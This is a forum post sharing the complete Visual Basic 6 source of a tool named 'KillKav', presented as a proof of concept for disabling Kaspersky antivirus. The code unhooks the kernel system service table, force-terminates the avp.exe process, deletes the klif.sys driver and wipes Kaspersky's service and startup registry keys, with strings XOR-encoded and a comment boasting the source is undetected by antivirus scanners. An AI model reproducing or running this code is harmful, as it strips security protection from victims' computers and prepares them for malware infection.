[POC] Kaspersky Killer

Bueno como no he tenido tiempo para depurar el code lo dejo a su dispocisión, espero les sirva como ejemplo

Modulo1:

Código

'---------------------------------------------------------------------------------------
' Project     : KillKav [Kaspersky Killer]
' Date        : 19/03/2009 18:10
' Author      : XcryptOR
' Purpose     : Kill Kaspersky Antivirus, Delete Klif.sys Driver & Related Registry Entries
' Versions    : Kaspersky Antivirus 6,7,8, kaspersky 2009 y KIS 2009
' OS          : Windows XP Sp1, Sp2, Sp3. Vista(it needs some changes but works)
' Bugs        : When KLIM5.sys (Kaspersky NDIS Filter) Registry entry is delete the next reboot
'               we can't access internet because the filter was not unistalled, the function
'               Clean_TCPIP_Stack do the work, but i can't use when kill kaspersky only in the
'               Next reboot, i believe that is not a problem to fix
'               It can be improve very much it's only a POC
' Credits     : Iceboy, Syntax_err, and all the chinese Crew of vbgood
'---------------------------------------------------------------------------------------
Private Sub Main()
    EnablePrivilege SE_DEBUG_PRIVILEGE, True
    FindNtdllExport
    GetSSDT
    Fuck_KAV
    KillRegs
 
End Sub
Private Sub Fuck_KAV()
    Dim hProcess        As Long
    Dim Pid             As Long
 
    Pid = GetPIDByName(Crypt("¹®¨ö½ ½")) ' Get The PID By Name in this case AVP.exe
 
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, Pid)
    If hProcess = 0 Then
            hProcess = LzOpenProcess(PROCESS_ALL_ACCESS, Pid)
    End If
 
    Call MyTerminateProcess(hProcess, 0)
 
    ' strings are XOR crypted, to avoid some heuristics, the source is FUD: scan on NVT and virustotal
    If DeleteDriver(Crypt("„çç„›â„±¶¼·¯«„‹¡«¬½µëê„œª±®½ª«„“´±¾ö«¡«")) = True Then '\??\C:\Windows\System32\Drivers\Klif.sys
            MsgBox Crypt("œª±®½ªø“´±¾ö«¡«ø´±µ±¶¹¼·ø ±¬·«¹µ½¶¬½") & vbCrLf & _
                   Crypt("ùø“¹«¨½ª«³¡ø°¹ø«±¼·ø´±µ±¶¹¼·ø ±¬·«¹µ½¶¬½øy"), _
                   vbExclamation, Crypt("“¹«¨½ª«³¡ø“±´´½ªøõø›·¼½¼øš¡ø€»ª¡¨¬·ª")
    End If
End Sub

Modulo2:

Código

Public Enum SYSTEM_INFORMATION_CLASS
    SystemBasicInformation
    SystemHandleInformation
End Enum
 
Public Declare Function ZwQuerySystemInformation Lib "ntdll.dll" ( _
ByVal SystemInformationClass As SYSTEM_INFORMATION_CLASS, _
ByVal pSystemInformation As Long, _
ByVal SystemInformationLength As Long, _
ByRef ReturnLength As Long) As Long
 
Public Type SYSTEM_HANDLE_TABLE_ENTRY_INFO
    UniqueProcessId         As Integer
    CreatorBackTraceIndex   As Integer
    ObjectTypeIndex         As Byte
    HandleAttributes        As Byte
    HandleValue             As Integer
    pObject                 As Long
    GrantedAccess           As Long
End Type
 
Public Type SYSTEM_HANDLE_INFORMATION
    NumberOfHandles         As Long
    Handles(1 To 1)         As SYSTEM_HANDLE_TABLE_ENTRY_INFO
End Type
 
Public Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
Public Const STATUS_ACCESS_DENIED = &HC0000022
 
Public Declare Function ZwWriteVirtualMemory Lib "ntdll.dll" ( _
ByVal ProcessHandle As Long, _
ByVal BaseAddress As Long, _
ByVal pBuffer As Long, _
ByVal NumberOfBytesToWrite As Long, _
ByRef NumberOfBytesWritten As Long) As Long
 
Public Declare Function ZwOpenProcess Lib "ntdll.dll" ( _
ByRef ProcessHandle As Long, _
ByVal AccessMask As Long, _
ByRef ObjectAttributes As OBJECT_ATTRIBUTES, _
ByRef ClientId As CLIENT_ID) As Long
 
Public Type OBJECT_ATTRIBUTES
    Length                  As Long
    RootDirectory           As Long
    ObjectName              As Long
    Attributes              As Long
    SecurityDescriptor      As Long
    SecurityQualityOfService As Long
End Type
 
Public Type CLIENT_ID
    UniqueProcess           As Long
    UniqueThread            As Long
End Type
 
Public Const PROCESS_QUERY_INFORMATION      As Long = &H400
Public Const STATUS_INVALID_CID             As Long = &HC000000B
 
Public Declare Function ZwClose Lib "ntdll.dll" ( _
ByVal ObjectHandle As Long) As Long
 
Public Const ZwGetCurrentProcess            As Long = -1
Public Const ZwGetCurrentThread             As Long = -2
Public Const ZwCurrentProcess               As Long = ZwGetCurrentProcess
Public Const ZwCurrentThread                As Long = ZwGetCurrentThread
 
Public Declare Function ZwCreateJobObject Lib "ntdll.dll" ( _
ByRef JobHandle As Long, _
ByVal DesiredAccess As Long, _
ByRef ObjectAttributes As OBJECT_ATTRIBUTES) As Long
 
Public Declare Function ZwAssignProcessToJobObject Lib "ntdll.dll" ( _
ByVal JobHandle As Long, _
ByVal ProcessHandle As Long) As Long
 
Public Declare Function ZwTerminateJobObject Lib "ntdll.dll" ( _
ByVal JobHandle As Long, _
ByVal ExitStatus As Long) As Long
 
Public Const OBJ_INHERIT = &H2
Public Const STANDARD_RIGHTS_REQUIRED       As Long = &HF0000
Public Const SYNCHRONIZE                    As Long = &H100000
Public Const JOB_OBJECT_ALL_ACCESS          As Long = STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &H1F
Public Const PROCESS_DUP_HANDLE             As Long = &H40
Public Const PROCESS_ALL_ACCESS             As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
Public Const THREAD_ALL_ACCESS              As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &H3FF)
Public Const OB_TYPE_PROCESS                As Long = &H5
 
Public Type PROCESS_BASIC_INFORMATION
    ExitStatus              As Long
    PebBaseAddress          As Long
    AffinityMask            As Long
    BasePriority            As Long
    UniqueProcessId         As Long
    InheritedFromUniqueProcessId As Long
End Type
 
Public Declare Function ZwDuplicateObject Lib "ntdll.dll" ( _
ByVal SourceProcessHandle As Long, _
ByVal SourceHandle As Long, _
ByVal TargetProcessHandle As Long, _
ByRef TargetHandle As Long, _
ByVal DesiredAccess As Long, _
ByVal HandleAttributes As Long, _
ByVal Options As Long) As Long
 
Public Const DUPLICATE_CLOSE_SOURCE = &H1
Public Const DUPLICATE_SAME_ACCESS = &H2
Public Const DUPLICATE_SAME_ATTRIBUTES = &H4
 
Public Declare Function ZwQueryInformationProcess Lib "ntdll.dll" ( _
ByVal ProcessHandle As Long, _
ByVal ProcessInformationClass As PROCESSINFOCLASS, _
ByVal ProcessInformation As Long, _
ByVal ProcessInformationLength As Long, _
ByRef ReturnLength As Long) As Long
 
Public Enum PROCESSINFOCLASS
        ProcessBasicInformation
End Enum
 
Public Const STATUS_SUCCESS                 As Long = &H0
Public Const STATUS_INVALID_PARAMETER       As Long = &HC000000D
 
Public Declare Function ZwTerminateProcess Lib "ntdll.dll" ( _
ByVal ProcessHandle As Long, _
ByVal ExitStatus As Long) As Long
 
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
 
Public Type SECURITY_ATTRIBUTES
    nLength                 As Long
    lpSecurityDescriptor    As Long
    bInheritHandle          As Long
End Type
 
Public Type a_my
    name                    As String
    Pid                     As Long
    tid                     As Long
    Handle                  As Long
End Type
 
Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" ( _
ByVal lpModuleName As String) As Long
 
Public Declare Function GetProcAddress Lib "kernel32" ( _
ByVal hModule As Long, _
ByVal lpProcName As String) As Long
 
Public Function NT_SUCCESS(ByVal Status As Long) As Boolean
          NT_SUCCESS = (Status >= 0)
End Function
 
Public Sub CopyMemory(ByVal Dest As Long, ByVal Src As Long, ByVal cch As Long)
Dim Written As Long
        Call ZwWriteVirtualMemory(ZwCurrentProcess, Dest, Src, cch, Written)
End Sub
 
Public Function IsItemInArray(ByVal dwItem, ByRef dwArray() As Long) As Boolean
Dim Index As Long
        For Index = LBound(dwArray) To UBound(dwArray)
                If (dwItem = dwArray(Index)) Then IsItemInArray = True: Exit Function
        Next
        IsItemInArray = False
End Function
 
Public Sub AddItemToArray(ByVal dwItem As Long, ByRef dwArray() As Long)
On Error GoTo ErrHdl
 
        If (IsItemInArray(dwItem, dwArray)) Then Exit Sub
 
        ReDim Preserve dwArray(UBound(dwArray) + 1)
        dwArray(UBound(dwArray)) = dwItem
ErrHdl:
 
End Sub

Modulo3:

Código

Private Declare Function SHDeleteKey Lib "shlwapi.dll" Alias "SHDeleteKeyA" ( _
ByVal hKey As Long, _
ByVal pszSubKey As String) As Long  ' Delete a key and subkeys from registry
 
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" _
Alias "RegOpenKeyExA" ( _
ByVal hKey As Long, _
ByVal lpSubKey As String, _
ByVal ulOptions As Long, _
ByVal samDesired As Long, _
phkResult As Long) As Long
 
Private Declare Function RegCloseKey Lib "advapi32.dll" ( _
ByVal hKey As Long) As Long
 
Private Declare Function RegDeleteValue Lib "advapi32.dll" _
Alias "RegDeleteValueA" ( _
ByVal hKey As Long, _
ByVal lpValueName As String) As Long
 
Private Const REG_SZ                                As Long = 1
Private Const REG_EXPAND_SZ                         As Long = 2
Private Const REG_BINARY                            As Long = 3
Private Const REG_DWORD                             As Long = 4
Private Const REG_MULTI_SZ                          As Long = 7
 
Private Const KEY_QUERY_VALUE                       As Long = &H1
Private Const KEY_ALL_ACCESS                        As Long = &H3F
Private Const REG_OPTION_NON_VOLATILE               As Long = 0
 
Private Const HKEY_CLASSES_ROOT                     As Long = &H80000000
Private Const HKEY_CURRENT_CONFIG                   As Long = &H80000005
Private Const HKEY_CURRENT_USER                     As Long = &H80000001
Private Const HKEY_DYN_DATA                         As Long = &H80000006
Private Const HKEY_LOCAL_MACHINE                    As Long = &H80000002
Private Const HKEY_PERFORMANCE_DATA                 As Long = &H80000004
Private Const HKEY_USERS                            As Long = &H80000003
Private Declare Function ZwDeleteFile Lib "ntdll.dll" ( _
ByRef ObjectAttributes As OBJECT_ATTRIBUTES) As Long
 
Private Declare Sub RtlInitUnicodeString Lib "ntdll.dll" ( _
ByVal DestinationString As Long, _
ByVal SourceString As Long)
 
Private Type UNICODE_STRING
        Length              As Integer
        MaximumLength       As Integer
        Buffer              As String
End Type
 
Private Type OBJECT_ATTRIBUTES
        Length                      As Long
        RootDirectory               As Long
        ObjectName                  As Long
        Attributes                  As Long
        SecurityDescriptor          As Long
        SecurityQualityOfService    As Long
End Type
 
Private Const OBJ_CASE_INSENSITIVE          As Long = &H40
 
Public Const SE_SHUTDOWN_PRIVILEGE          As Long = 19
Public Const SE_DEBUG_PRIVILEGE             As Long = 20
 
Private Const STATUS_NO_TOKEN               As Long = &HC000007C
 
Private Declare Function RtlAdjustPrivilege Lib "ntdll.dll" ( _
ByVal Privilege As Long, _
ByVal Enable As Boolean, _
ByVal Client As Boolean, _
WasEnabled As Long) As Long
 
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" ( _
ByVal lFlags As Long, _
ByVal lProcessID As Long) As Long
'---
Private Declare Function Process32First Lib "kernel32" ( _
ByVal hSnapShot As Long, _
uProcess As PROCESSENTRY32) As Long
'---
Private Declare Function Process32Next Lib "kernel32" ( _
ByVal hSnapShot As Long, _
uProcess As PROCESSENTRY32) As Long
'---
Private Const TH32CS_SNAPHEAPLIST           As Long = &H1
Private Const TH32CS_SNAPPROCESS            As Long = &H2
Private Const TH32CS_SNAPTHREAD             As Long = &H4
Private Const TH32CS_SNAPMODULE             As Long = &H8
Private Const TH32CS_SNAPALL                As Long = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Private Const MAX_PATH                      As Long = 260
 
Private Type PROCESSENTRY32
        dwSize              As Long
        cntUsage            As Long
        th32ProcessID       As Long
        th32DefaultHeapID   As Long
        th32ModuleID        As Long
        cntThreads          As Long
        th32ParentProcessID As Long
        pcPriClassBase      As Long
        dwFlags             As Long
        szExeFile           As String * MAX_PATH
End Type
 
Public Declare Function WinExec Lib "kernel32" ( _
ByVal lpCmdLine As String, _
ByVal nCmdShow As Long) As Long
 
Public Const SW_HIDE = 0
 
'========================================================================================
'================================ Get ID Process By Name ================================
'========================================================================================
Public Function GetPIDByName(ByVal PName As String) As Long
    Dim hSnapShot       As Long
    Dim uProcess        As PROCESSENTRY32
    Dim t               As Long
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
    uProcess.dwSize = Len(uProcess)
    PName = LCase(PName)
    t = Process32First(hSnapShot, uProcess)
    Do While t
        t = InStr(1, uProcess.szExeFile, Chr(0))
        If LCase(Left(uProcess.szExeFile, t - 1)) = PName Then
            GetPIDByName = uProcess.th32ProcessID
            Exit Function
        End If
        t = Process32Next(hSnapShot, uProcess)
    Loop
End Function
 
'========================================================================================
'==================================== Get Privileges ====================================
'========================================================================================
Public Function EnablePrivilege(ByVal Privilege As Long, Enable As Boolean) As Boolean
    Dim ntStatus        As Long
    Dim WasEnabled      As Long
    ntStatus = RtlAdjustPrivilege(Privilege, Enable, True, WasEnabled)
    If ntStatus = STATUS_NO_TOKEN Then
        ntStatus = RtlAdjustPrivilege(Privilege, Enable, False, WasEnabled)
    End If
    If ntStatus = 0 Then
        EnablePrivilege = True
    Else
        EnablePrivilege = False
    End If
End Function
 
'========================================================================================
'============================= Simple XOR String Encryption =============================
'========================================================================================
Public Function Crypt(txt As String) As String
    On Error Resume Next
    Dim x       As Long
    Dim PF      As String
    Dim PG      As String
 
    For x = 1 To Len(txt)
        PF = Mid(txt, x, 1)
        PG = Asc(PF)
        Crypt = Crypt & Chr(PG Xor (216 Mod 255))
    Next
End Function
 
'========================================================================================
'====================== Initialize Object Attributes Structure ==========================
'========================================================================================
Private Sub InicializarOA(ByRef InitializedAttributes As OBJECT_ATTRIBUTES, _
                          ByRef ObjectName As UNICODE_STRING, _
                          ByVal Attributes As Long, _
                          ByVal RootDirectory As Long, _
                          ByVal SecurityDescriptor As Long) 'inicializa las propiedades de OBJECT_ATTRIBUTES
        With InitializedAttributes
                .Length = LenB(InitializedAttributes)
                .Attributes = Attributes
                .ObjectName = VarPtr(ObjectName)
                .RootDirectory = RootDirectory
                .SecurityDescriptor = SecurityDescriptor
                .SecurityQualityOfService = 0
        End With
End Sub
 
'========================================================================================
'=============================== Delete KLIF.sys Driver =================================
'========================================================================================
Public Function DeleteDriver(StrDriverPath As String) As Boolean
On Error Resume Next
    Dim OA          As OBJECT_ATTRIBUTES
    Dim UStrPath    As UNICODE_STRING
    RtlInitUnicodeString ByVal VarPtr(UStrPath), StrPtr(StrDriverPath) ' Path debe estar en formato de para APIs Nativas "\??\C:\Windows\System32\Drivers\Klif.sys"
    InicializarOA OA, UStrPath, OBJ_CASE_INSENSITIVE, 0, 0
 
    If NT_SUCCESS(ZwDeleteFile(OA)) Then
        DeleteDriver = True
    End If
End Function
 
'===================================================================================
'================== Delete Registry Entries of all Kasper Services =================
'===================================================================================
Public Sub KillRegs()
    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•„›ªª½¶¬›·¶¬ª·´‹½¬„‹½ª®±»½«„™Žˆ")              '"SYSTEM\CurrentControlSet\Services\AVP"
    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•„›ªª½¶¬›·¶¬ª·´‹½¬„‹½ª®±»½«„³´é")              '"SYSTEM\CurrentControlSet\Services\kl1"
    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•„›ªª½¶¬›·¶¬ª·´‹½¬„‹½ª®±»½«„“”‘ž")             '"SYSTEM\CurrentControlSet\Services\KLIF"
    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•„›ªª½¶¬›·¶¬ª·´‹½¬„‹½ª®±»½«„³´±µí")            '"SYSTEM\CurrentControlSet\Services\klim5"
    DeleteAllKeys GetHKEY(3), Crypt("‹·¾¬¯¹ª½„“¹«¨½ª«³¡”¹º")                              '"Software\KasperskyLab"
    DeleteAllKeys GetHKEY(1), Crypt("›”‹‘œ„£¼¼êëèààèõìáí¹õéé¼éõºèîìõèèàèìà½»ê¾»í¥")       '"CLSID\{dd230880-495a-11d1-b064-008048ec2fc5}" : Remove from Context Menu
    DeleteKey Crypt("‹·¾¬¯¹ª½„•±»ª·«·¾¬„±¶¼·¯«„›ªª½¶¬Ž½ª«±·¶„Š¶"), Crypt("¹®¨"), 3     '"Software\Microsoft\Windows\CurrentVersion\Run", "avp"
End Sub
 
'===================================================================================
'========================= Eliminar el valor del Registro ==========================
'===================================================================================
Public Sub DeleteKey(sKey, nKey, RegKey)
    On Error Resume Next
    Dim RK          As Long
    Dim l           As Long
    Dim hKey        As Long
    l = RegOpenKeyEx(GetHKEY(RegKey), sKey, 0, KEY_ALL_ACCESS, hKey)
    l = RegDeleteValue(hKey, nKey)
    l = RegCloseKey(hKey)
End Sub
 
'===================================================================================
'===================== Delete Keys and Subkeys from Registry =======================
'===================================================================================
Private Sub DeleteAllKeys(hKey As String, key As String)
    Dim lResult As Long
    lResult = SHDeleteKey(hKey, key)
End Sub
 
Private Function GetHKEY(RegKey)
    On Error Resume Next
    Select Case RegKey
        Case 1
        GetHKEY = HKEY_CLASSES_ROOT
        Case 2
        GetHKEY = HKEY_CURRENT_USER
        Case 3
        GetHKEY = HKEY_LOCAL_MACHINE
    End Select
End Function
 
'===================================================================================
'=================== Clean TCP/IP to unistall Klim5.sys NDIS =======================
'===================================================================================
Public Sub Clean_TCPIP_Stack()
WinExec "netsh int ip reset", SW_HIDE
DoEvents
WinExec "netsh winsock reset", SW_HIDE
End Sub

Modulo4:

Modulo4:

Código

' -----------------------------------------------------------------------------------
' Module        : mSSDTUnhook
' Author        : Iceboy
' Purpose       : Unhook APIs i used this great work of Iceboy to unhook Apis from Kaspersky
' -----------------------------------------------------------------------------------
Option Explicit
 
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" ( _
ByVal lpLibFileName As String) As Long
 
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" ( _
ByVal pDst As Long, _
ByVal pSrc As Long, _
ByVal ByteLen As Long)
 
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" ( _
ByVal lpString As Long) As Long
 
Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" ( _
ByVal lpLibFileName As Long, _
ByVal hFile As Long, _
ByVal dwFlags As Long) As Long
 
Private Declare Function FreeLibrary Lib "kernel32" ( _
ByVal hLibModule As Long) As Long
 
Private Declare Function GetProcAddress Lib "kernel32" ( _
ByVal hModule As Long, _
ByVal lpProcName As String) As Long
 
Private Declare Function ZwQuerySystemInformation Lib "ntdll.dll" ( _
ByVal SystemInformationClass As SYSTEM_INFORMATION_CLASS, _
ByVal pSystemInformation As Long, _
ByVal SystemInformationLength As Long, _
ByVal pReturnLength As Long) As Long
 
Private Declare Function ZwSystemDebugControl Lib "ntdll.dll" ( _
ByVal ControlCode As SYSDBG_COMMAND, _
ByVal pInputBuffer As Long, _
ByVal InputBufferLength As Long, _
ByVal pOutputBuffer As Long, _
ByVal OutputBufferLength As Long, _
ByVal pReturnLength As Long) As Long
 
Public Enum SYSDBG_COMMAND
    SysDbgReadVirtualMemory = 8
    SysDbgWriteVirtualMemory = 9
End Enum
 
Private Enum SYSTEM_INFORMATION_CLASS
    SystemModuleInformation = 11
End Enum
 
Private Type IMAGE_DOS_HEADER
    e_magic                 As Integer
    Unused(0 To 57)         As Byte
    e_lfanew                As Long
End Type
 
Private Type IMAGE_NT_HEADER
    Signature               As Long
    Unused1(0 To 15)        As Byte
    SizeOfOptionalHeader    As Integer
    Characteristics         As Integer
    Magic                   As Integer
    Unused3(0 To 25)        As Byte
    ImageBase               As Long
    Unused4(0 To 23)        As Byte
    SizeOfImage             As Long
    Unused5(0 To 31)        As Byte
    NumberOfRvaAndSizes     As Long
    ExportTableRva          As Long
    ExportTableSize         As Long
    Unused6(0 To 31)        As Byte
    RelocationTableRva      As Long
    RelocationTableSize     As Long
End Type
 
Private Type IMAGE_EXPORT_DIRECTORY
    Unused(0 To 11)         As Byte
    name                    As Long
    Base                    As Long
    NumberOfFunctions       As Long
    NumberOfNames           As Long
    AddressOfFunctions      As Long
    AddressOfNames          As Long
    AddressOfOrdinals       As Long
End Type
 
Private Type IMAGE_BASE_RELOCATION
    VirtualAddress          As Long
    SizeOfBlock             As Long
End Type
 
Private Type IMAGE_FIXED_ENTRY
    Offset                  As Long
    Type                    As Long
End Type
 
Private Type ModuleInformation
    Reserved(7)             As Byte
    Base                    As Long
    Size                    As Long
    Flags                   As Long
    Index                   As Integer
    Unknown                 As Integer
    Loadcount               As Integer
    ModuleNameOffset        As Integer
    ImageName(250)          As long
End Type
 
Private Type MEMORY_CHUNKS
    Address                 As Long
    pData                   As Long
    Length                  As Long
End Type
 
Private Const DONT_RESOLVE_DLL_REFERENCES   As Long = 1
Private Const IMAGE_REL_BASED_HIGHLOW       As Long = 3
Private Const IMAGE_FILE_RELOCS_STRIPPED    As Integer = 1
 
Dim FuncName(1023)                          As String
Dim Address1(1023)                          As Long
Dim Address2(1023)                          As Long
Dim ModuleName(1023)                        As String
 
Dim dwServices                              As Long
Dim dwKernelBase                            As Long
Dim dwKiServiceTable                        As Long
 
Public Sub RecoverSSDT(ByVal num As Long)
    Address2(num) = Address1(num)
End Sub
 
Public Sub WriteSSDT()
    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long
    With QueryBuff
        .Address = dwKiServiceTable + dwKernelBase
        .pData = VarPtr(Address2(0))
        .Length = dwServices * 4
        ZwSystemDebugControl SysDbgWriteVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
        If ReturnLength <> .Length Then MsgBox "SSDT Cannot Write", vbCritical
    End With
End Sub
 
Private Function ModuleInformationFromPtr(ByVal pmi As Long) As ModuleInformation
    CopyMemory VarPtr(ModuleInformationFromPtr), pmi, 284
End Function
 
Private Function BaseRelocationFromPtr(ByVal pbr As Long) As IMAGE_BASE_RELOCATION
    CopyMemory VarPtr(BaseRelocationFromPtr), pbr, 8
End Function
 
Private Function FixedEntryFromPtr(ByVal pfe As Long) As IMAGE_FIXED_ENTRY
    Dim tmp As Integer
    CopyMemory VarPtr(tmp), pfe, 2
    FixedEntryFromPtr.Offset = tmp And 4095
    CopyMemory VarPtr(tmp), pfe + 1, 1
    FixedEntryFromPtr.Type = (tmp And 240) \ 16
End Function
 
Private Function DwordFromPtr(ByVal pdword As Long) As Long
    CopyMemory VarPtr(DwordFromPtr), pdword, 4
End Function
 
Private Function WordFromPtr(ByVal pword As Long) As Long
    CopyMemory VarPtr(WordFromPtr), pword, 2
End Function
 
Private Function FindKiServiceTable(ByVal hModule As Long, ByVal dwKSDT As Long) As Long
    Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER
    Dim pbr As Long, pfe As Long, bFirstChunk As Boolean, I As Long, forto As Long
    Dim dwFixups As Long, dwPointerRva As Long, dwPointsToRva As Long
    CopyMemory VarPtr(DosHeader), hModule, 64
    With DosHeader
        Assert .e_magic = &H5A4D
        CopyMemory VarPtr(NtHeader), hModule + .e_lfanew, 168
    End With
    bFirstChunk = True
    Do While bFirstChunk Or CBool(BaseRelocationFromPtr(pbr).VirtualAddress)
        bFirstChunk = False
        pfe = pbr + 8
        forto = (BaseRelocationFromPtr(pbr).SizeOfBlock - 8) \ 2 - 1
        For I = 0 To forto
            If FixedEntryFromPtr(pfe).Type = IMAGE_REL_BASED_HIGHLOW Then
                dwFixups = dwFixups + 1
                dwPointerRva = BaseRelocationFromPtr(pbr).VirtualAddress + FixedEntryFromPtr(pfe).Offset
                dwPointsToRva = DwordFromPtr(hModule + dwPointerRva) - NtHeader.ImageBase
                If dwPointsToRva = dwKSDT Then
                    If WordFromPtr(hModule + dwPointerRva - 2) = &H5C7 Then
                        FindKiServiceTable = DwordFromPtr(hModule + dwPointerRva + 4) - NtHeader.ImageBase
                        Exit Function
                    End If
                End If
            End If
            pfe = pfe + 2
        Next
        pbr = pbr + BaseRelocationFromPtr(pbr).SizeOfBlock
    Loop
End Function
 
Private Function AddZero(ByVal Text As String, ByVal Length As Long) As String
    AddZero = String(Length - Len(Text), "0") & Text
End Function
 
Public Sub GetSSDT()
On Error Resume Next
    Dim I As Long, j As Long, Length As Long, Buff() As Byte, pKernelName As Long, hKernel As Long
    Dim dwKSDT As Long, pService As Long, DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER
    dwServices = 0
    ZwQuerySystemInformation SystemModuleInformation, 0, 0, VarPtr(Length)
    ReDim Buff(Length - 1)
    ZwQuerySystemInformation SystemModuleInformation, VarPtr(Buff(0)), Length, 0
    With ModuleInformationFromPtr(VarPtr(Buff(4)))
        dwKernelBase = .Base
        pKernelName = VarPtr(.ImageName(0)) + .ModuleNameOffset
    End With
    hKernel = LoadLibraryEx(pKernelName, 0, DONT_RESOLVE_DLL_REFERENCES)
    dwKSDT = GetProcAddress(hKernel, "KeServiceDescriptorTable")
    Assert dwKSDT <> 0
    dwKSDT = dwKSDT - hKernel
    dwKiServiceTable = FindKiServiceTable(hKernel, dwKSDT)
    Assert dwKiServiceTable <> 0
    CopyMemory VarPtr(DosHeader), hKernel, 64
    With DosHeader
        Assert .e_magic = &H5A4D
        CopyMemory VarPtr(NtHeader), hKernel + .e_lfanew, 168
    End With
    With NtHeader
        Assert .Signature = &H4550
        Assert .Magic = &H10B
    End With
    pService = hKernel + dwKiServiceTable
    Do While DwordFromPtr(pService) - NtHeader.ImageBase < NtHeader.SizeOfImage
        Address1(dwServices) = DwordFromPtr(pService) - NtHeader.ImageBase + dwKernelBase
        pService = pService + 4
        dwServices = dwServices + 1
    Loop
    FreeLibrary hKernel
    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long
    With QueryBuff
        .Address = dwKernelBase + dwKiServiceTable
        .pData = VarPtr(Address2(0))
        .Length = dwServices * 4
    End With
    ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
    Length = DwordFromPtr(VarPtr(Buff(0)))
    For I = 0 To Length - 1
        With ModuleInformationFromPtr(VarPtr(Buff(I * 284 + 4)))
            For j = 0 To dwServices - 1
                If Address2(j) >= .Base And Address2(j) < .Base + .Size Then
                    ModuleName(j) = StringFromPtr(VarPtr(.ImageName(0)))
                End If
            Next
        End With
    Next
        For I = 0 To dwServices - 1
            If Address1(I) <> Address2(I) Then
                RecoverSSDT I
                WriteSSDT
            End If
        Next
End Sub
 
Private Function StringFromPtr(ByVal pString As Long) As String
    Dim Buff() As Byte, Length As Long
    Length = lstrlen(pString)
    If Length = 0 Then Exit Function
    ReDim Buff(Length - 1)
    CopyMemory VarPtr(Buff(0)), pString, Length
    StringFromPtr = StrConv(Buff, vbUnicode)
End Function
 
Public Sub FindNtdllExport()
    Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER, ExportDirectory As IMAGE_EXPORT_DIRECTORY
    Dim I As Long, hNtdll As Long, FuncRVA() As Long, NameRVA() As Long, Ordinal() As Integer, ThisName As String, ThisNumber As Long
    hNtdll = GetModuleHandle("ntdll.dll")
    Assert hNtdll <> 0
    CopyMemory VarPtr(DosHeader), hNtdll, 64
    With DosHeader
        Assert .e_magic = &H5A4D
        CopyMemory VarPtr(NtHeader), hNtdll + .e_lfanew, 128
    End With
    With NtHeader
        Assert .Signature = &H4550
        Assert .Magic = &H10B
        Assert .SizeOfOptionalHeader >= 104
        Assert .NumberOfRvaAndSizes >= 1
        Assert .ExportTableSize >= 40
        CopyMemory VarPtr(ExportDirectory), hNtdll + .ExportTableRva, 40
    End With
    With ExportDirectory
        Assert StringFromPtr(.name + hNtdll) = "ntdll.dll"
        ReDim FuncRVA(.NumberOfFunctions - .Base), NameRVA(.NumberOfNames - 1), Ordinal(.NumberOfNames - 1)
        CopyMemory VarPtr(FuncRVA(0)), hNtdll + .AddressOfFunctions + .Base * 4, (.NumberOfFunctions - .Base) * 4
        CopyMemory VarPtr(NameRVA(0)), hNtdll + .AddressOfNames, .NumberOfNames * 4
        CopyMemory VarPtr(Ordinal(0)), hNtdll + .AddressOfOrdinals, .NumberOfNames * 2
        For I = 0 To .NumberOfNames - 1
            ThisName = StringFromPtr(hNtdll + NameRVA(I))
        Next
    End With
End Sub
 
Public Function ReadMemory(ByVal Address As Long, ByVal Length As Long) As Byte()
    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long, Buff() As Byte
    ReDim Buff(Length - 1)
    With QueryBuff
        .Address = Address
        .pData = VarPtr(Buff(0))
        .Length = Length
    End With
    ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
    If ReturnLength = Length Then ReadMemory = Buff
End Function
 
Public Sub Assert(ByVal bBool As Boolean)
    If Not bBool Then
        MsgBox "Assertion Failed!", vbCritical, "Error"
        End
    End If
End Sub